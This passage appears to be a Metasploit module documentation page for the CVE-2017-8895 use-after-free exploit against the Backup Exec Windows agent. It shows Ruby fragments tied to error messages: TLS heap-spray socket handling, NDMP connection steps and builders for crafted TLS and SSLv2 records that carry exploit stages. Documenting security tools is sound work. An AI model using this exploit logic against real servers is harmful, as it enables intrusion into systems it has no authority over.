340: if target.opts['Version'] == 14
341: resp = s.raw_recv(5)
342: fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?
343: s.raw_recv(resp[3...5].unpack('n')[0])
344: end
345:
346: print_status('Closing TLS spray sockets...')
347: tls_spray_socks.reverse! unless target.opts['Win8Upwards']
Bad connect result
Here is a relevant code snippet related to the "Bad connect result" error message:
476: end
477:
478: if phase.nil? || phase == 3
479: msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
480: return false unless msg
481: fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
482: end
483:
484: true
485: end
486:
Couldn't connect NDMP socket (phase <PHASE>)
Here is a relevant code snippet related to the "Couldn't connect NDMP socket (phase <PHASE>)" error message:
493: end
494:
495: (1..3).each do |phase|
496: socks.each do |ss|
497: unless connect_ndmp(ss, version, phase)
498: fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
499: end
500: end
501: end
502:
503: socks
Failed to perform SSL request/response (opcode <OPCODE>)
Here is a relevant code snippet related to the "Failed to perform SSL request/response (opcode <OPCODE>)" error message:
537: # to be empty.
538: #
539: def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
540: resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
541: if phase.nil? || phase == 2
542: fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
543: fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
544: end
545: end
546:
547: #
Non-empty SSL response (opcode <OPCODE>) result
Here is a relevant code snippet related to the "Non-empty SSL response (opcode <OPCODE>) result" error message:
538: #
539: def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
540: resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
541: if phase.nil? || phase == 2
542: fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
543: fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
544: end
545: end
546:
547: #
548: # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes
No payload
Here is a relevant code snippet related to the "No payload" error message:
617:
618: #
619: # Generate a TLS handshake record with the given payload.
620: #
621: def generate_tls_handshake_record(payload, required_fifth_byte=nil)
622: fail_with(Failure::Unknown, 'No payload') if payload.empty?
623:
624: # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
625: # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
626: # the header, which is the second byte of the length word
627: unless required_fifth_byte.nil?
No TLS extension payloads given
Here is a relevant code snippet related to the "No TLS extension payloads given" error message:
634: # Generate a TLS ClientHello record with the given Random and extensions (ie. for
635: # holding stages 2-4).
636: #
637: def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
638: if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
639: fail_with(Failure::Unknown, 'No TLS extension payloads given')
640: end
641: if ec_formats_extn_payload.length > 0xff
642: fail_with(Failure::Unknown, 'Bad EC formats extension length')
643: end
644: if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
Bad EC formats extension length
Here is a relevant code snippet related to the "Bad EC formats extension length" error message:
637: def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
638: if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
639: fail_with(Failure::Unknown, 'No TLS extension payloads given')
640: end
641: if ec_formats_extn_payload.length > 0xff
642: fail_with(Failure::Unknown, 'Bad EC formats extension length')
643: end
644: if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
645: fail_with(Failure::Unknown, 'Bad curves extension length')
646: end
647: if random.length != 0x20
Bad curves extension length
Here is a relevant code snippet related to the "Bad curves extension length" error message:
640: end
641: if ec_formats_extn_payload.length > 0xff
642: fail_with(Failure::Unknown, 'Bad EC formats extension length')
643: end
644: if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
645: fail_with(Failure::Unknown, 'Bad curves extension length')
646: end
647: if random.length != 0x20
648: fail_with(Failure::Unknown, 'Bad random length')
649: end
650:
Bad random length
Here is a relevant code snippet related to the "Bad random length" error message:
643: end
644: if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
645: fail_with(Failure::Unknown, 'Bad curves extension length')
646: end
647: if random.length != 0x20
648: fail_with(Failure::Unknown, 'Bad random length')
649: end
650:
651: extns = ''
652: unless curves_extn_payload.empty?
653: extns << [
No payload
Here is a relevant code snippet related to the "No payload" error message:
674:
675: #
676: # Generate a TLS ClientHello record in a SSLv2 record with a given payload.
677: #
678: def generate_tls_in_sslv2_clienthello(payload)
679: fail_with(Failure::Unknown, 'No payload') if payload.empty?
680: fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
681:
682: r = "\x01\x03" + payload
683: [r.length | 0x8000].pack('n') + r
684: end
Bad first byte
Here is a relevant code snippet related to the "Bad first byte" error message:
675: #
676: # Generate a TLS ClientHello record in a SSLv2 record with a given payload.
677: #
678: def generate_tls_in_sslv2_clienthello(payload)
679: fail_with(Failure::Unknown, 'No payload') if payload.empty?
680: fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
681:
682: r = "\x01\x03" + payload
683: [r.length | 0x8000].pack('n') + r
684: end
685:
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8442 Merged Pull Request: Exploit module for CVE-2017-8895, UAF in Backup Exec Windows agent
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/backupexec/dump
- auxiliary/admin/backupexec/registry
- exploit/windows/backupexec/name_service
- exploit/windows/backupexec/remote_agent
- exploit/windows/browser/symantec_backupexec_pvcalendar
- auxiliary/scanner/http/ssl_version
- auxiliary/scanner/ssl/ssl_version
- auxiliary/dos/ssl/dtls_changecipherspec
- auxiliary/dos/ssl/dtls_fragment_overflow
- auxiliary/dos/ssl/openssl_aesni
- auxiliary/scanner/ssl/bleichenbacher_oracle
- auxiliary/scanner/ssl/openssl_ccs
- auxiliary/scanner/ssl/openssl_heartbleed
- exploit/windows/ssl/ms04_011_pct
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/mysql/mysql_yassl_getname
- exploit/linux/mysql/mysql_yassl_hello
- exploit/multi/http/struts_code_exec_classloader
- exploit/windows/browser/juniper_sslvpn_ive_setupdll
- exploit/windows/mysql/mysql_yassl_hello
- exploit/android/local/binder_uaf
- exploit/multi/browser/adobe_flash_hacking_team_uaf
- exploit/multi/browser/adobe_flash_opaque_background_uaf
- exploit/multi/browser/adobe_flash_uncompress_zlib_uaf
- exploit/windows/browser/adobe_flash_domain_memory_uaf
- exploit/windows/browser/adobe_flash_worker_byte_array_uaf
- exploit/windows/browser/chrome_filereader_uaf
- exploit/windows/browser/firefox_smil_uaf
- exploit/windows/browser/ie_cbutton_uaf
- exploit/windows/browser/ie_cgenericelement_uaf
- exploit/windows/browser/ie_execcommand_uaf
- exploit/windows/browser/ie_setmousecapture_uaf
- exploit/windows/browser/ms13_009_ie_slayoutrun_uaf
- exploit/windows/browser/ms14_012_cmarkup_uaf
- exploit/windows/fileformat/foxit_reader_uaf
- exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
Related Nessus plugins:
Authors
- Matthew Daley
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.